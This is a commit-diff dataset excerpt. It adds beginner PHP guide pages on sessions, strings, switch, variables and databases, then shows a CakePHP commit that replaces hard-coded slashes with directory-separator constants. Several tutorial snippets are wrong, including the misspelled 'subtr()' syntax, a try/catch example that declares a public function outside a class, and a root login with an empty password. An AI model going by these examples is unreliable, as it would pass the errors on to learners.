<add>### Starting A Session
<add>On every page you want to access the session you will need to start (or load) the session. To do so run the `session_start()` function which loads the PHP Session System.
<add>```PHP
<add><?php
<add>session_start();
<add>```
<add>
<add>Please note, that when using cookie-based sessions, session_start() must be called before outputing anything to the browser. anything else will result in an error.
<add>
<add>### Accessing And Setting Data In A Session
<add>The `$_SESSION['key']` variable is a special type of array (using a browser cookie to determine which session to access).
<add>
<add>In the below example you see the user's choice of theme is set to theme number one.
<add>```PHP
<add><?php
<add>session_start();
<add>$_SESSION['themechoice'] = 1;
<add>```
<add>Accessing a session variable is similar to setting one. Simply include the variable where it needs to be accessed. For example echoing it out as shown in the code example below.
<add>```PHP
<add><?php
<add>session_start();
<add>echo $_SESSION['themechoice'];
<add>```
<add>
<add>### Removing A Session
<add>To remove a session from the system run the following PHP code. It will unset the session variables and delete it from the system.
<add>```PHP
<add><?php
<add>session_unset();
<add>session_destroy();
<add>```
<add>
<add>Here's a full example to manually expire a user's session:
<add>```PHP
<add><?php
<add>//Start our session.
<add>session_start();
<add>
<add>//Expire the session if user is inactive for 30
<add>//minutes or more.
<add>$expireAfter = 30;
<add>
<add>//Check to see if our "last action" session
<add>//variable has been set.
<add>if(isset($_SESSION['last_action'])){
<add>
<add> //Figure out how many seconds have passed
<add> //since the user was last active.
<add> $secondsInactive = time() - $_SESSION['last_action'];
<add>
<add> //Convert our minutes into seconds.
<add> $expireAfterSeconds = $expireAfter * 60;
<add>
<add> //Check to see if they have been inactive for too long.
<add> if($secondsInactive >= $expireAfterSeconds){
<add> //User has been inactive for too long.
<add> //Kill their session.
<add> session_unset();
<add> session_destroy();
<add> }
<add>
<add>}
<add>
<add>//Assign the current timestamp as the user's
<add>//latest activity
<add>$_SESSION['last_action'] = time();
<add>```
<add>
<add>### Sessions Are Temporary
<add>It is important to not treat a session as permanent storage. They get cleared from time to time by the developer, whenever the application is moved to a new host server, by the application itself (for example a logout button), and even during server maintenance. For long term storage of data make sure to use a database.
<add>
<add>### Security
<add>Last but not least it's important to use php sessions securely. Read our article on [Session Identifier Acquirement](/php/security/session-identifier-acquirement) and [Session Hijacking](/php/security/session-hijacking) for more information.
<add>
<add>#### More Information:
<add>* <a href="https://secure.php.net/manual/en/book.session.php">php.net session manual</a>
<ide><path>mock-guide/english/php/strings/index.md
<add>---
<add>title: Strings
<add>---
<add>## Strings
<add>
<add>A string is series of characters. These can be used to store any textual information in your application.
<add>
<add>There are a number of different ways to create strings in PHP.
<add>
<add>### Single Quotes
<add>
<add>Simple strings can be created using single quotes.
<add>```PHP
<add>$name = 'Joe';
<add>```
<add>
<add>To include a single quote in the string, use a backslash to escape it.
<add>
<add>```PHP
<add>$last_name = 'O\'Brian';
<add>```
<add>
<add>### Double Quotes
<add>
<add>You can also create strings using double quotes.
<add>```PHP
<add>$name = "Joe";
<add>```
<add>
<add>To include a double quote, use a backslash to escape it.
<add>
<add>```PHP
<add>$quote = "Mary said, \"I want some toast,\" and then ran away.";
<add>```
<add>
<add>Double quoted strings also allow escape sequences. These are special codes that put characters in your string that represent typically invisible characters. Examples include newlines `\n`, tabs `\t`, and actual backslashes `\\`.
<add>
<add>You can also embed PHP variables in double quoted strings to have their values added to the string.
<add>```PHP
<add>$name = 'Joe';
<add>$greeting = "Hello $name"; // now contains the string "Hello Joe"
<add>```
<add>
<add>## PHP String Functions
<add>In this chapter we will look at some commonly used functions to manipulate strings.
<add>
<add>## Get The Length of a String
<add>The PHP strlen() function returns the length of a string.
<add>The example below returns the length of the string "Hello world!":
<add>````
<add><?php
<add>echo strlen("Hello world!"); // outputs 12
<add>?>
<add>````
<add>A string is series of characters.
<add>PHP only supports a 256-character set and hence does not offer native Unicode support.
<add>
<add>## Count The Number of Words in a String
<add>The PHP str_word_count() function counts the number of words in a string:
<add>````
<add><?php
<add>echo str_word_count("Hello world!"); // outputs 2
<add>?>
<add>````
<add>
<add>## Reverse a String
<add>The PHP strrev() function reverses a string:
<add>````
<add><?php
<add>echo strrev("Hello world!"); // outputs !dlrow olleH
<add>?>
<add>````
<add>
<add>## Search For a Specific Text Within a String
<add>The PHP strpos() function searches for a specific text within a string.
<add>If a match is found, the function returns the character position of the first match. If no match is found, it will return FALSE.
<add>The example below searches for the text "world" in the string "Hello world!":
<add>````
<add><?php
<add>echo strpos("Hello world!", "world"); // outputs 6
<add>?>
<add>````
<add>
<add>## Replace Text Within a String
<add>````
<add><?php
<add>echo str_replace("world", "Dolly", "Hello world!"); // outputs Hello Dolly!
<add>?>
<add>````
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<add>[PHP: Strings](http://php.net/manual/en/language.types.string.php)
<add>[PHP String tutorial](https://www.w3schools.com/php/php_string.asp)
<ide><path>mock-guide/english/php/substring/index.md
<add>---
<add>title: subtring
<add>---
<add>
<add>## Substring Function in PHP
<add>
<add>The Substring function in PHP returns a portion of the string, specified by two parameters, the start and the length.
<add>
<add>
<add>## Syntax
<add>
<add>The substring function is used like any other function in php, and uses the subtr() syntax.
<add>
<add>
<add>```
<add><?php
<add>
<add>subtr( $string, $start, $length);
<add>
<add>
<add>```
<add>
<add>
<add>## Example
<add>
<add>Below is an example of how you could use the substring function in a real world situation:
<add>
<add>```
<add><?php
<add>
<add>$apple = 'Apple';
<add>$alphabet = 'abcdefghijklmnopqrstuvwxyz';
<add>
<add>substr($apple, 0, 5); // Apple;
<add>substr($apple, 0, 3); // App;
<add>substr($apple, 3, 2); // le;
<add>substr($alphabet, 0, 26); // abcdefghijklmnopqrstuvwxyz;
<add>substr($alphabet, 12, 6); // mnopqr;
<add>
<add>```
<add>
<add>## Additional Info
<add>
<add>For more information, please see [PHP: Substring](http://php.net/manual/en/function.substr.php)
<ide><path>mock-guide/english/php/super-globals/index.md
<add>---
<add>title: Super Globals
<add>---
<add>
<add>
<add>## Super Globals
<add>
<add>This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/super-globals/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<add>
<add><a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<add>
<add><!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
<add>
<add>## List of Super Globals and what are they
<add>Super globals are variables defined in the core of PHP, and they are available in all scopes throughout the script. This means that you do not need to define them as **global $variable** .
<add>
<add>These superglobal variables are:
<add>
<add>$GLOBALS
<add>$_SERVER
<add>$_GET
<add>$_POST
<add>$_FILES
<add>$_COOKIE
<add>$_SESSION
<add>$_REQUEST
<add>$_ENV
<add>
<add>They all have their use cases, but mostly to beginners _$_GET_ and _$_POST_ are the most used. **$_GET**_ Pulls data from the url, while **$_POST**_ pulls data from the post request. Both of these are arrays. **$_REQUEST**_ is a collection of GET and POST.
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<ide><path>mock-guide/english/php/switch/index.md
<add>---
<add>title: Switch
<add>---
<add>## Switch
<add>In PHP, the `Switch` statement is very similar to the Javascript `Switch` statement (See the <a href="/javascript/switch-statements">Javascript Switch Guide</a> to compare and contrast). It allows rapid case testing with a lot of different possible conditions, the code is also more readable.
<add>
<add>### Syntax
<add>```php
<add><?php
<add> // Switch Statement Example
<add> switch ($i) {
<add> case "free":
<add> echo "i is free";
<add> break;
<add> case "code":
<add> echo "i is code";
<add> break;
<add> case "camp":
<add> echo "i is camp";
<add> break;
<add> default:
<add> echo "i is freecodecamp";
<add> break;
<add> }
<add>
<add>```
<add>
<add>### Break
<add>The `break;` statement exits the switch and goes on to run the rest of the application's code. If you do not use the `break;` statement you may end up running mulitple cases and statements, sometimes this may be desired in which case you should not include the `break;` statement.
<add>
<add>An example of this behavior can be seen below:
<add>
<add>```
<add><?php
<add> $j = 0;
<add>
<add> switch ($i) {
<add> case '2':
<add> $j++;
<add> case '1':
<add> $j++;
<add> break;
<add> default:
<add> break;
<add> }
<add>```
<add>
<add>If $i = 1, the value of $j would be:
<add>
<add>```
<add>1
<add>```
<add>
<add>If $i = 2, the value of $j would be:
<add>
<add>```
<add>2
<add>```
<add>
<add>While break can be omitted without causing fall-through in some instances (see below), it is generally best practice to include it for legibility and safety (see below):
<add>
<add>```
<add><?php
<add> switch ($i) {
<add> case '1':
<add> return 1;
<add> case '2':
<add> return 2;
<add> default:
<add> break;
<add> }
<add>```
<add>```
<add><?php
<add> switch ($i) {
<add> case '1':
<add> return 1;
<add> break;
<add> case '2':
<add> return 2;
<add> break;
<add> default:
<add> break;
<add> }
<add>```
<add>
<add>## Example
<add>```php
<add>
<add><?php
<add>//initialize with a random integer within range
<add>$diceNumber = mt_rand(1, 6);
<add>
<add>//initialize
<add>$numText = "";
<add>
<add>//calling switch statement
<add> switch($diceNumber)
<add> {
<add> case 1:
<add> $numText = "One";
<add> break;
<add> case 2:
<add> $numText = "Two";
<add> break;
<add> case 3:
<add> case 4:
<add> // case 3 and 4 will go to this line
<add> $numText = "Three or Four";
<add> break;
<add> case 5:
<add> $numText = "Five";
<add> echo $numText;
<add> // break; //without specify break or return it will continue execute to next case.
<add> case 6:
<add> $numText = "Six";
<add> echo $numText;
<add> break;
<add> default:
<add> $numText = "unknown";
<add> }
<add>
<add> //display result
<add> echo 'Dice show number '.$numText.'.';
<add>
<add>?>
<add>
<add>```
<add>
<add>## Output
<add>```
<add>if case is 1
<add>> Dice show number One.
<add>
<add>if case is 2
<add>> Dice show number Two.
<add>
<add>if case is 3
<add>> Dice show number Three or Four.
<add>
<add>if case is 4
<add>> Dice show number Three or Four.
<add>
<add>if case is 5
<add>> FiveSixDice show number Six.
<add>
<add>if case is 6
<add>> SixDice show number Six.
<add>
<add>if none of the above
<add>> Dice show number unknown.
<add>```
<add>
<add>#### More Information:
<add>* [php.net docs Switch](https://secure.php.net/manual/en/control-structures.switch.php")
<ide><path>mock-guide/english/php/try-catch/index.md
<add>---
<add>title: try catch
<add>---
<add>
<add>## Try Catch in PHP
<add>
<add>When working in PHP, it is considered good practice to utilize error handling within your code. This allows you to return error messages, rather than crashing returning nothing, or worse, crashing your application. There are many ways to utilize Exceptions in PHP, but a common one is the Try Catch block.
<add>
<add>
<add>## Syntax
<add>
<add>The syntax for a try catch starts with a try statement, followed by code to be executed, which is then followed by a catch statement with some form of error handling.
<add>
<add>```
<add><?php
<add>
<add>try {
<add> //Code to be executed.
<add>} catch (Exception $e) {
<add> //Code to handle the exception
<add>}
<add>
<add>
<add>```
<add>
<add>
<add>## Example
<add>
<add>Below is an example of how you could use a try catch block in a real world situation:
<add>
<add>```
<add><?php
<add>
<add>$numOne = 123;
<add>$numTwo = 456;
<add>
<add>public function sum ($numOne, $numTwo = null) {
<add>
<add> try {
<add> $sum = $numOne + $numTwo;
<add> //code with error
<add>
<add> } catch (Exception $e) {
<add> echo $e; // echos the error that occured.
<add> }
<add>
<add>}
<add>
<add>```
<add>
<add>## Use Cases
<add>It is important to add error handling to your code to ensure that you are handling and responding to errors accordingly. A try catch block can be used anywhere from functions you write, API calls, and even database queries to handle an array of arrays.
<add>
<add>## Additional Info
<add>
<add>For more information, please see [PHP: Exceptions](http://php.net/manual/en/language.exceptions.php#language.exceptions.catch)
<ide><path>mock-guide/english/php/variables/data-types/index.md
<add>---
<add>title: PHP Data Types
<add>---
<add>
<add># Data Types
<add>
<add>Variables can store data of different types such as:
<add>* String ("Hello")
<add>* Integer (5)
<add>* Float (also called double) (1.0)
<add>* Boolean ( 1 or 0 )
<add>* Array ( array("I", "am", "an", "array") )
<add>* Object
<add>* NULL
<add>* Resource
<add>
<add>## String
<add>
<add>A string is a sequence of characters. It can be any text inside quotes (single or double):
<add>
<add>#### Example
<add>```php
<add>$x = "Hello!";
<add>$y = 'Hello!';
<add>```
<add>
<add>## Integer
<add>
<add>An integer data type is a non-decimal number between -2,147,483,648 and 2,147,483,647.
<add>
<add>Rules for integers:
<add>
<add>* An integer must have at least one digit
<add>* An integer must not have a decimal point
<add>* An integer can be either positive or negative
<add>* Integers can be specified in three formats: decimal (10-based), hexadecimal (16-based - prefixed with 0x) or octal (8-based - prefixed with 0)
<add>
<add>#### Example
<add>```php
<add>$x = 5;
<add>```
<add>
<add>
<add>## Float
<add>
<add>A float (floating point number) is a number with a decimal point or a number in exponential form.
<add>
<add>#### Example
<add>```php
<add>$x = 5.01;
<add>```
<add>
<add>## Boolean
<add>
<add>A Boolean represents two possible states: TRUE or FALSE. Booleans are often used in conditional testing.
<add>
<add>```php
<add>$x = true;
<add>$y = false;
<add>```
<add>
<add>## Array
<add>
<add>An array stores multiple values in one single variable.
<add>
<add>```php
<add>$colours = array("Blue","Purple","Pink");
<add>```
<add>
<add>
<add>## NULL Value
<add>
<add>Null is a special data type which can have only one value: NULL.
<add>A variable of data type NULL is a variable that has no value assigned to it.
<add>Variables can also be emptied by setting the value to NULL.
<add>
<add>**Note:** If a variable is created without a value, it is automatically assigned a value of NULL.
<add>
<add>```php
<add><?php
<add>$x = "Hello world!";
<add>$x = null;
<add>?>
<add>```
<add>
<add>Output:
<add>NULL
<add>
<add>
<add>## Object
<add>
<add>An object is a data type which stores data and information on how to process that data.
<add>In PHP, an object must be explicitly declared.
<add>First we must declare a class of object. A class is a structure that can contain properties and methods.
<add>
<add>**Example:**
<add>```php
<add><?php
<add>class Car {
<add> function Car() {
<add> $this->model = "VW";
<add> }
<add>}
<add>
<add>// create an object
<add>$herbie = new Car();
<add>
<add>// show object properties
<add>echo $herbie->model;
<add>?>
<add>```
<add>
<add>You can also use a predefined generic empty class `stdClass`. It's usefull for anonymous objects, dynamic properties or casting other types to object.
<ide><path>mock-guide/english/php/variables/index.md
<add>---
<add>title: Variables
<add>---
<add>
<add>## Variables
<add># Creating (Declaring) PHP Variables
<add>
<add>Variables are "containers" for storing information. They are the main way to store information in a PHP program.
<add>
<add>All variables in PHP are denoted with a leading dollar sign like "$variable_name".
<add>Variables are assigned with the "=" operator, with the variable on the left-hand side and the expression to be evaluated on the right.
<add>
<add>**Syntax:**
<add>
<add>```php
<add><?php
<add>// Assign the value "Hello world" to the variable "txt"
<add>$txt = "Hello world!";
<add>// Assign the value "5" to the variable "x"
<add>$x = 5;
<add>// Assign the value "10.5" to the variable "y"
<add>$y = 10.5;
<add>?>
<add>```
<add>
<add>##### Note: Using quotes or not using quotes will change the type of variable created. [Read more](https://guide.freecodecamp.org/php/data-types) about variable and data types.
<add>
<add>##### Note: Unlike other programming languages, PHP has no command for declaring a variable. It is created the moment you first assign a value to it.
<add>
<add># Rules for PHP variables:
<add>
<add>* A variable starts with the $ sign, followed by the name of the variable
<add>* A variable name must start with a letter or the underscore character
<add>* A variable name cannot start with a number
<add>* A variable name can only contain alpha-numeric characters and underscores (A-z, 0-9, and _ ) You cannot use characters like `+ , - , % , ( , ) . &` in its name.
<add>* Variable names are case-sensitive ($age and $AGE are two different variables)
<add>
<add>Some examples of allowed variable names:
<add>
<add>* $my_variable
<add>* $anotherVariable
<add>* $the2ndVariable
<add>
<add># Predefined Variables
<add>
<add>PHP has several special keywords that while are "valid" variable names, cannot be used for your variables. The reason for this is that the language itself has already defined those variables and they have are used for special purposes. Several examples are listed below, for a complete list see the [PHP documentation site](https://secure.php.net/manual/en/language.variables.predefined.php).
<add>- `$this`
<add>- `$_GET`
<add>- `$_POST`
<add>- `$_SERVER`
<add>- `$_FILES`
<add>
<add># Output Variables
<add>
<add>The PHP echo statement is often used to output data to the screen.
<add>
<add>The following example will show how to output text and a variable:
<add>````php
<add><?php
<add>$txt = "github.com";
<add>echo "I love $txt!";
<add>?>
<add>````
<add>
<add>The following example will produce the same output as the example above:
<add>````php
<add><?php
<add>$txt = "github.com";
<add>echo "I love " . $txt . "!";
<add>?>
<add>````
<add>
<add>The following example will output the sum of two variables:
<add>````php
<add><?php
<add>$x = 5;
<add>$y = 4;
<add>echo $x + $y;
<add>?>
<add>````
<add>
<add># PHP is a Loosely Typed Language
<add>
<add>In the example above, notice that we did not have to tell PHP which data type the variable is.
<add>PHP automatically converts the variable to the correct data type, depending on its value.
<add>In other languages such as C, C++, and Java, the programmer must declare the name and type of the variable before using it.
<add>
<add># Variable lifecycle
<add>
<add>In PHP variables have a default value. If a variable is not declared before you attempt to use it, its value will be NULL. It is unset. So you can't use it by writing "isset($variable)" before using it.
<add>
<add>#### More Information:
<add>
<add>For even more information check out these resources:
<add>- [PHP Variable Documentation](http://php.net/manual/en/language.variables.php)
<add>- [W3Schools PHP Variables](https://www.w3schools.com/php/php_variables.asp)
<add>- [PHP Data Types](https://guide.freecodecamp.org/php/data-types)
<add>Learn about the different types of variables you can create: [Data Types](https://guide.freecodecamp.org/php/variables/data-types)
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<add>
<ide><path>mock-guide/english/php/while/index.md
<add>---
<add>title: While Loop
<add>---
<add>
<add>## While Loop
<add>A `while` loop executes statements within the loop as long as the loops condition is met.
<add>
<add>### Syntax:
<add>```php
<add><?php
<add>$x = 0;
<add>while ($x < 11) {
<add> statement1;
<add> $x++;
<add>}
<add>```
<add>
<add>**Note:** The block code must have a statement that changes or increments the condition. Otherwise an infinite loop could result.
<add>
<add>
<add>Another loop statement is `do...while` where you execute your code at least once.
<add>
<add>### Syntax
<add>```php
<add>$x = 0;
<add>
<add>do {
<add> ++$x;
<add>} while ($x < 11);
<add>```
<add>
<add>**Note:** Same as the `while` block, this should have a statement that changes, otherwise an infinite loop could result.
<add>
<add>### More Information:
<add>- [PHP While Loop](http://php.net/manual/en/control-structures.while.php)
<add>- [PHP Do-While Loop](http://php.net/manual/en/control-structures.do.while.php)
<ide><path>mock-guide/english/php/working-with-databases/index.md
<add>---
<add>title: Working With Databases
<add>---
<add>
<add>## What options are available for PHP to connect to a database?
<add>
<add>PHP can connect to a variety of different databases including MongoDB, MS SQL and MySQL.
<add>Both PHP and MySQL are very popular and provide an easy, free and open source websites
<add>to be created and are often found together to produce websites of all types.
<add>Both PHP and MySQL can scale to support large numbers of users.
<add>
<add>PHP even supports more than one way to deal with connections to MySQL including MySQLi Procedural,
<add>PHP Data Objects (PDO) and MySQLi Object Orientated along with the now deprecated MySQL Connect.
<add>With PHP there are many features built into the core functionality of the language that make links to a
<add>database simple and easy.
<add>
<add>Some Examples from Mysqli are-
<add>
<add>```php
<add>$con=mysqli_connect("localhost","root","","db_name") or die("Invalid User or Password...cannot connect");
<add>```
<add>Here we are connecting to a database on the phpmyadmin structure, with no password, and database named `db_name`.
<ide><path>mock-guide/english/php/working-with-databases/mysqli/index.md
<add>---
<add>title: MySQLi
<add>---
<add>## MySQLi
<add>
<add>This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/working-with-databases/mysqli/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<add>
<add><a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<add>
<add><!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
<add>MYSQLi functions allow access to the database.
<add>MYSQLi is an improved version of MYSQL
<add>
<add>#### Some Important MYSQLi functions and their uses:
<add>mysqli_connect() ==> Opens a new connection to the MySQL server
<add>mysqli_query() ==> Performs a query against the database
<add>mysqli_error() ==> Returns the last error description for the most recent function call
<add>mysqli_close() ==> Closes a previously opened database connection
<add>mysqli_connect_error() ==> Returns the error description from the last connection error
<add>mysqli_select_db() ==> Changes the default database for the connection
<add>mysqli_fetch_assoc() ==> Fetches a result row as an associative array
<add>
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article -->
<add><a href="https://www.w3schools.com/php/php_ref_mysqli.asp">Click here</a> For more information about MYSQLi
<ide><path>mock-guide/english/php/working-with-json-apis/index.md
<add>---
<add>title: Working With JSON APIs
<add>---
<add>## Working With JSON APIs
<add>
<add>A common use of JSON is to read data from a web server, and display the data in a web page.
<add>
<add>This chapter will teach you how to exchange JSON data between the client and a PHP server.
<add>
<add>### The PHP File
<add>
<add>PHP has some built-in functions to handle JSON.
<add>
<add>Objects in PHP can be converted into JSON by using the PHP function `json_encode()`:
<add>```php
<add><?php
<add>$myObj->name = "John";
<add>$myObj->age = 30;
<add>$myObj->city = "New York";
<add>
<add>$myJSON = json_encode($myObj);
<add>
<add>echo $myJSON;
<add>?>
<add>```
<add>[Try it](https://www.w3schools.com/js/showphp.asp?filename=demo_file)
<add>
<add>### The Client JavaScript
<add>
<add>Here is a JavaScript on the client, using an AJAX call to request the PHP file from the example above:
<add>
<add>#### Example
<add>
<add>Use JSON.parse() to convert the result into a JavaScript object:
<add>
<add>```js
<add>var xmlhttp = new XMLHttpRequest();
<add>xmlhttp.onreadystatechange = function() {
<add> if (this.readyState == 4 && this.status == 200) {
<add> var myObj = JSON.parse(this.responseText);
<add> document.getElementById("demo").innerHTML = myObj.name;
<add> }
<add>};
<add>xmlhttp.open("GET", "demo_file.php", true);
<add>xmlhttp.send();
<add>```
<add>
<add>[Try it](https://www.w3schools.com/js/tryit.asp?filename=tryjson_php_simple)
<add>
<add>### More Information:
<add>
<add>- For more [check this link](https://www.w3schools.com/js/js_json_php.asp)
<ide><path>mock-guide/english/php/xml/index.md
<add>---
<add>title: XML
<add>---
<add>## XML
<add>
<add>This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/xml/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<add>
<add><a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<add>
<add><!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
<add>
<add>#### More Information:
<add><!-- Please add any articles you think might be helpful to read before writing the article --> | 76 |
PHP | PHP | fix source of the path issues on windows | 3443e5162a1129f7a04af453b3eb3f267bc5a8a3 | <ide><path>lib/Cake/Core/App.php
<ide> public static function pluginPath($plugin) {
<ide> * @link http://book.cakephp.org/2.0/en/core-utility-libraries/app.html#App::themePath
<ide> */
<ide> public static function themePath($theme) {
<del> $themeDir = 'Themed/' . Inflector::camelize($theme);
<add> $themeDir = 'Themed' . DS . Inflector::camelize($theme);
<ide> foreach (static::$_packages['View'] as $path) {
<ide> if (is_dir($path . $themeDir)) {
<ide> return $path . $themeDir . DS;
<ide> public static function load($className) {
<ide> $paths[] = CAKE . $package . DS;
<ide> } else {
<ide> $pluginPath = static::pluginPath($plugin);
<del> $paths[] = $pluginPath . 'Lib/' . $package . DS;
<add> $paths[] = $pluginPath . 'Lib' . DS . $package . DS;
<ide> $paths[] = $pluginPath . $package . DS;
<ide> }
<ide>
<ide> protected static function _packageFormat() {
<ide> if (empty(static::$_packageFormat)) {
<ide> static::$_packageFormat = array(
<ide> 'Model' => array(
<del> '%s' . 'Model/'
<add> '%s' . 'Model' . DS
<ide> ),
<ide> 'Model/Behavior' => array(
<del> '%s' . 'Model/Behavior/'
<add> '%s' . 'Model' . DS . 'Behavior' . DS
<ide> ),
<ide> 'Model/Datasource' => array(
<del> '%s' . 'Model/Datasource/'
<add> '%s' . 'Model' . DS . 'Datasource' . DS
<ide> ),
<ide> 'Model/Datasource/Database' => array(
<del> '%s' . 'Model/Datasource/Database/'
<add> '%s' . 'Model' . DS . 'Datasource' . DS . 'Database' . DS
<ide> ),
<ide> 'Model/Datasource/Session' => array(
<del> '%s' . 'Model/Datasource/Session/'
<add> '%s' . 'Model' . DS . 'Datasource' . DS . 'Session' . DS
<ide> ),
<ide> 'Controller' => array(
<del> '%s' . 'Controller/'
<add> '%s' . 'Controller' . DS
<ide> ),
<ide> 'Controller/Component' => array(
<del> '%s' . 'Controller/Component/'
<add> '%s' . 'Controller' . DS . 'Component' . DS
<ide> ),
<ide> 'Controller/Component/Auth' => array(
<del> '%s' . 'Controller/Component/Auth/'
<add> '%s' . 'Controller' . DS . 'Component' . DS . 'Auth' . DS
<ide> ),
<ide> 'Controller/Component/Acl' => array(
<del> '%s' . 'Controller/Component/Acl/'
<add> '%s' . 'Controller' . DS . 'Component' . DS . 'Acl' . DS
<ide> ),
<ide> 'View' => array(
<del> '%s' . 'View/'
<add> '%s' . 'View' . DS
<ide> ),
<ide> 'View/Helper' => array(
<del> '%s' . 'View/Helper/'
<add> '%s' . 'View' . DS . 'Helper' . DS
<ide> ),
<ide> 'Console' => array(
<del> '%s' . 'Console/'
<add> '%s' . 'Console' . DS
<ide> ),
<ide> 'Console/Command' => array(
<del> '%s' . 'Console/Command/'
<add> '%s' . 'Console' . DS . 'Command' . DS
<ide> ),
<ide> 'Console/Command/Task' => array(
<del> '%s' . 'Console/Command/Task/'
<add> '%s' . 'Console' . DS . 'Command' . DS . 'Task' . DS
<ide> ),
<ide> 'Lib' => array(
<del> '%s' . 'Lib/'
<add> '%s' . 'Lib' . DS
<ide> ),
<ide> 'Locale' => array(
<del> '%s' . 'Locale/'
<add> '%s' . 'Locale' . DS
<ide> ),
<ide> 'Vendor' => array(
<del> '%s' . 'Vendor/',
<del> dirname(dirname(CAKE)) . DS . 'vendors/',
<add> '%s' . 'Vendor' . DS,
<add> dirname(dirname(CAKE)) . DS . 'vendors' . DS,
<ide> ),
<ide> 'Plugin' => array(
<del> APP . 'Plugin/',
<del> dirname(dirname(CAKE)) . DS . 'plugins/'
<add> APP . 'Plugin' . DS,
<add> dirname(dirname(CAKE)) . DS . 'plugins' . DS
<ide> )
<ide> );
<ide> }
<ide><path>lib/Cake/Test/TestCase/Core/AppTest.php
<ide> public function testClassname() {
<ide>
<ide> // Test plugin
<ide> App::build(array(
<del> 'Plugin' => array(CAKE . 'Test/TestApp/Plugin/')
<add> 'Plugin' => array(CAKE . 'Test' . DS . 'TestApp' . DS . 'Plugin' . DS)
<ide> ), App::RESET);
<ide> Plugin::load('TestPlugin');
<ide> $this->assertEquals('TestPlugin\Utility\TestPluginEngine', App::classname('TestPlugin.TestPlugin', 'Utility', 'Engine'));
<ide> public function testClassnameUnknownPlugin() {
<ide> public function testBuild() {
<ide> $old = App::path('Model');
<ide> $expected = array(
<del> APP . 'Model/'
<add> APP . 'Model' . DS
<ide> );
<ide> $this->assertEquals($expected, $old);
<ide>
<ide> App::build(array('Model' => array('/path/to/models/')));
<ide> $new = App::path('Model');
<ide> $expected = array(
<ide> '/path/to/models/',
<del> APP . 'Model/'
<add> APP . 'Model' . DS
<ide> );
<ide> $this->assertEquals($expected, $new);
<ide>
<ide> public function testBuild() {
<ide> $new = App::path('Model');
<ide> $expected = array(
<ide> '/path/to/models/',
<del> APP . 'Model/'
<add> APP . 'Model' . DS
<ide> );
<ide> $this->assertEquals($expected, $new);
<ide>
<ide> App::build();
<ide> App::build(array('Model' => array('/path/to/models/')), App::APPEND);
<ide> $new = App::path('Model');
<ide> $expected = array(
<del> APP . 'Model/',
<add> APP . 'Model' . DS,
<ide> '/path/to/models/'
<ide> );
<ide> $this->assertEquals($expected, $new);
<ide> public function testBuild() {
<ide> ), App::APPEND);
<ide> $new = App::path('Model');
<ide> $expected = array(
<del> APP . 'Model/',
<add> APP . 'Model' . DS,
<ide> '/path/to/models/'
<ide> );
<ide> $this->assertEquals($expected, $new);
<ide> $new = App::path('Controller');
<ide> $expected = array(
<del> APP . 'Controller/',
<add> APP . 'Controller' . DS,
<ide> '/path/to/controllers/'
<ide> );
<ide> $this->assertEquals($expected, $new);
<ide> public function testBuild() {
<ide> public function testCompatibleBuild() {
<ide> $old = App::path('Model');
<ide> $expected = array(
<del> APP . 'Model/'
<add> APP . 'Model' . DS
<ide> );
<ide> $this->assertEquals($expected, $old);
<ide>
<ide> App::build(array('Model' => array('/path/to/models/')));
<ide>
<ide> $expected = array(
<ide> '/path/to/models/',
<del> APP . 'Model/'
<add> APP . 'Model' . DS
<ide> );
<ide> $this->assertEquals($expected, App::path('Model'));
<ide>
<ide> App::build(array('Model/Datasource' => array('/path/to/datasources/')));
<ide> $expected = array(
<ide> '/path/to/datasources/',
<del> APP . 'Model/Datasource/'
<add> APP . 'Model' . DS . 'Datasource' . DS
<ide> );
<ide> $this->assertEquals($expected, App::path('Model/Datasource'));
<ide>
<ide> App::build(array('Model/Behavior' => array('/path/to/behaviors/')));
<ide> $expected = array(
<ide> '/path/to/behaviors/',
<del> APP . 'Model/Behavior/'
<add> APP . 'Model' . DS . 'Behavior' . DS
<ide> );
<ide> $this->assertEquals($expected, App::path('Model/Behavior'));
<ide>
<ide> App::build(array('Controller' => array('/path/to/controllers/')));
<ide> $expected = array(
<ide> '/path/to/controllers/',
<del> APP . 'Controller/'
<add> APP . 'Controller' . DS
<ide> );
<ide> $this->assertEquals($expected, App::path('Controller'));
<ide>
<ide> App::build(array('Controller/Component' => array('/path/to/components/')));
<ide> $expected = array(
<ide> '/path/to/components/',
<del> APP . 'Controller/Component/'
<add> APP . 'Controller' . DS . 'Component' . DS
<ide> );
<ide> $this->assertEquals($expected, App::path('Controller/Component'));
<ide>
<ide> App::build(array('View' => array('/path/to/views/')));
<ide> $expected = array(
<ide> '/path/to/views/',
<del> APP . 'View/'
<add> APP . 'View' . DS
<ide> );
<ide> $this->assertEquals($expected, App::path('View'));
<ide>
<ide> App::build(array('View/Helper' => array('/path/to/helpers/')));
<ide> $expected = array(
<ide> '/path/to/helpers/',
<del> APP . 'View/Helper/'
<add> APP . 'View' . DS . 'Helper' . DS
<ide> );
<ide> $this->assertEquals($expected, App::path('View/Helper'));
<ide>
<ide> App::build(array('Console/Command' => array('/path/to/shells/')));
<ide> $expected = array(
<ide> '/path/to/shells/',
<del> APP . 'Console/Command/'
<add> APP . 'Console' . DS . 'Command' . DS
<ide> );
<ide> $this->assertEquals($expected, App::path('Console/Command'));
